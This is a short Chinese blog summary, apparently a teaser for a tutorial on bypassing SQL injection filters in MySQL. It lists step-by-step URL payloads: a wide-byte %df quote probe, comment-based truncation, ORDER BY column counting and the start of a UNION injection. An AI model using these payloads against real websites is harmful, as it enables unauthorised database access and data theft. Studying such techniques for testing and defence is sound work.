菜鸟-传奇

摘要： SQL注入绕过总结 mysql手工注入方法 ?id=1%df’(测试是否存在注入,报错则存在） ?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常） ?id=1%df’order by n-- -(order测试字段长度，报错则说明超出最大长度） ?id=-1%df’union 阅读全文